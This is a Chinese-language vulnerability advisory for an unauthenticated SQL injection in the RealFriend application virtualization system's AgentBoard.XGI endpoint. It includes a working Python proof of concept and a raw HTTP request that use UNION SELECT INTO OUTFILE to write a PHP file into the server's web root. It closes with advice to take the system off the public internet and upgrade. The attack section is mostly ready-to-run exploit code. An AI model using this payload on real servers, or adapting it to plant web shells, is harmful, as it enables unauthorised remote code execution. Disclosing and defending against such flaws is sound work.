瑞友天翼应用虚拟化系统 AgentBoard.XGI 远程代码执行漏洞
漏洞描述
瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过 WEB 即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。未经身份认证的远程攻击者可以利用系统中存在的 SQL 注入漏洞,写入后门文件,从而执行远程代码。
漏洞影响
5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.3.1
漏洞复现
poc
import requests
import sys
url = sys.argv[1]
payload="/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin"
repose = requests.get(url=url+payload)
if repose.status_code ==200:
a = url + '1.php'
b = requests.get(url=a)
if b.status_code == 200:
print('[+] 漏洞存在,验证地址: {}1.php '.format(url))
payload
GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C2.php%22+--+-&cmd=UserLogin HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CookieLanguageName=ZH-CN; CookieAuthType=0
Upgrade-Insecure-Requests: 1
漏洞修复
- 避免将该系统开放至公网。
- 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,建议您在升级前做好数据备份工作,避免出现意外,酌情升级至安全版本:http://soft.realor.cn:88/Gwt7.0.4.1.exe